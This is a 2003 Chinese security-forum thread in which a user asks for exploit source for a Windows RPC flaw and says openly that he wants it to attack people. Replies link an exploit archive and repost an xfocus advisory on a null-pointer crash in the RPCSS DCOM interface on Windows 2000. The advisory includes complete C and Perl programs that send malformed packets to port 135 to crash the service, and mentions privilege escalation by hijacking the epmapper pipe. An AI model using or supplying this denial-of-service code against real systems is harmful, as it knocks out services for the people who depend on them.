|
![]() | 作者: ricky [ricky]
![]() |
登录 |
本人e文较差,如果有谁有利用的源码,贴上来,不胜感谢 |
地主 发表时间: 07/18 09:01 |
![]() | 回复: allyesno [allyesno] ![]() |
登录 |
记得看过一个rpc的exploit 不知道跟你说得是否一样 http://www.chinesehack.org/soft/fire/re.zip |
B1层 发表时间: 07/18 14:36 |
![]() | 回复: shesh [shesh] ![]() |
登录 |
准备用来干吗? 我打不出PIG的中文了,HEHE。 |
B2层 发表时间: 07/21 18:05 |
![]() | 回复: ricky [ricky] ![]() |
登录 |
当然是黑人了,还能干吗,最近对溢出感兴趣 |
B3层 发表时间: 07/22 11:15 |
![]() | 回复: TomyChen [quest] ![]() |
登录 |
你要的应该是这个代码: |
B4层 发表时间: 07/22 11:28 |
![]() | 回复: allyesno [allyesno] ![]() |
登录 |
应该 不是 他要的那个是最新的 |
B5层 发表时间: 07/22 14:53 |
![]() | 回复: allyesno [allyesno] ![]() |
登录 |
代码: [此贴被 TomyChen(quest) 在 07月23日08时10分 编辑过] |
B6层 发表时间: 07/22 17:49 |
![]() | 回复: SysHu0teR [syshunter] ![]() |
登录 |
TMD,关键部位没有注释 |
B7层 发表时间: 07/23 19:57 |
![]() | 回复: TomyChen [quest] ![]() |
登录 |
详细资料
http://www.xfocus.net/vuls/200307/3878.html 发布时间:2003-07-21 更新时间:2003-07-23 严重程度:高 威胁程度:远程拒绝服务 错误类型:输入验证错误 利用方式:客户机模式 受影响系统 windows 2000 sp 3 windows 2000 sp 4 windows 2000 sp 4+ms03-026 未影响系统 windows xp windows 2003 详细描述 WINDOWS的RPC服务(RPCSS)存在漏洞,当发送一个畸形包的时候,会导致RPC服务无提示的崩溃掉。由于RPC服务是一个特殊的系统服务,许多应用和服务程序都依赖于他,因为可以造成这些程序与服务的拒绝服务。同时可以通过劫持epmapper管道和135端口的方法来提升权限和获取敏感信息。 技术分析 问题主要发生在RPC服务为DCOM服务提供__RemoteGetClassObject接口上,当传送一个特定包导致解析一个结构的指针参数为NULL的时候, __RemotoGetClassObject 未对此结构指针参数有有效性检查,在后续中就直接引用了此地址(此时为0)做读写操作,这样就导致了内存访问违例,RPC服务进程崩溃。 危害 攻击之后,许多基于RPC的应用无法使用,如使用网络与拨号连接拨号,配置本地连接等,一些基于RPC,DCOM的服务与应用将无法正常运行。 由于RPC服务是MS WINDOWS中一个重要的服务,他开放的135端口同时用于DCOM的认证,epmapper管道用于RPC端点的影射,并默认为系统信任,如果一个攻击者能够以低权限在被攻击机器上运行一个程序,在RPC服务崩溃以后,就可以通过劫持epmapper管道和135端口的方法来提升权限或获得DCOM客户端认证的信息。 测试代码 #include <winsock2.h> #include <stdio.h> #include <windows.h> #include <process.h> #include <string.h> #include <winbase.h> unsigned char bindstr[]={ 0x05,0x00,0x0B,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x7F,0x00,0x00,0x00, 0xD0,0x16,0xD0,0x16,0x00,0x00,0x00,0x00,0x01,0x00,0x00,0x00,0x01,0x00,0x01,0x00, 0xA0,0x01,0x00,0x00,0x00,0x00,0x00,0x00,0xC0,0x00,0x00,0x00,0x00,0x00,0x00,0x46, 0x00,0x00,0x00,0x00,0x04,0x5D,0x88,0x8A,0xEB,0x1C,0xC9,0x11,0x9F,0xE8,0x08,0x00, 0x2B,0x10,0x48,0x60,0x02,0x00,0x00,0x00}; unsigned char request[]={ 0x05,0x00,0x00,0x03,0x10,0x00,0x00,0x00,0x48,0x00,0x00,0x00,0x13,0x00,0x00,0x00, 0x90,0x00,0x00,0x00,0x01,0x00,0x03,0x00,0x05,0x00,0x06,0x01,0x00,0x00,0x00,0x00, 0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31, 0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31,0x31, 0x00,0x00,0x00,0x00,0x00,0x00,0x00,0x00}; void main(int argc,char ** argv) { WSADATA WSAData; int i; SOCKET sock; SOCKADDR_IN addr_in; short port=135; unsigned char buf1[0x1000]; printf("RPC DCOM DOS Vulnerability discoveried by Xfocus.org\n"); printf("Code by FlashSky,Flashsky@xfocus.org,benjurry,benjurry@xfocus.org\n"); printf("Welcome to http://www.xfocus.net\n"); if(argc<2) { printf("useage:%s target\n",argv[0]); exit(1); } if (WSAStartup(MAKEWORD(2,0),&WSAData)!=0) { printf("WSAStartup error.Error:%d\n",WSAGetLastError()); return; } addr_in.sin_family=AF_INET; addr_in.sin_port=htons(port); addr_in.sin_addr.S_un.S_addr=inet_addr(argv[1]); if ((sock=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==INVALID_SOCKET) { printf("Socket failed.Error:%d\n",WSAGetLastError()); return; } if(WSAConnect(sock,(struct sockaddr *)&addr_in,sizeof(addr_in),NULL,NULL,NULL,NULL)==SOCKET_ERROR) { printf("Connect failed.Error:%d",WSAGetLastError()); return; } if (send(sock,bindstr,sizeof(bindstr),0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); return; } i=recv(sock,buf1,1024,MSG_PEEK); if (send(sock,request,sizeof(request),0)==SOCKET_ERROR) { printf("Send failed.Error:%d\n",WSAGetLastError()); return; } i=recv(sock,buf1,1024,MSG_PEEK); } #!/usr/bin/perl -w # By SecurITeam's Experts my $bindstr = "\x05\x00\x0B\x03\x10\x00\x00\x00\x48\x00\x00\x00\x7F\x00\x00\x00\xD0\x16\xD0\x16\x00\x00\x00\x00\x01\x00\x00\x00\x01\x00\x01\x00\xA0\x01\x00\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x00\x00\x00\x00\x04\x5D\x88\x8A\xEB\x1C\xC9\x11\x9F\xE8\x08\x00\x2B\x10\x48\x60\x02\x00\x00\x00"; my $request = "\x05\x00\x00\x03\x10\x00\x00\x00\x48\x00\x00\x00\x13\x00\x00\x00\x90\x00\x00\x00\x01\x00\x03\x00\x05\x00\x06\x01\x00\x00\x00\x00\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x31\x00\x00\x00\x00\x00\x00\x00\x00"; use Socket; $proto = getprotobyname('tcp'); socket(S, PF_INET, SOCK_STREAM, $proto) || die("Socket problems\n"); $IP = $ARGV[0]; $target = inet_aton($IP); $paddr = sockaddr_in(135, $target); connect(S, $paddr) || die "connect: $!"; select(S); $|=1; print $bindstr; sleep(2); print $request; sleep(2); select(STDOUT); close(S); 解决方案 在Internet的机器在FW上设置规则禁止外部访问135端口。 相关信息 |
B8层 发表时间: 07/23 21:52 |
![]() | 回复: allyesno [allyesno] ![]() |
登录 |
远程溢出的pl 好像出来哦 |
B9层 发表时间: 07/23 22:58 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号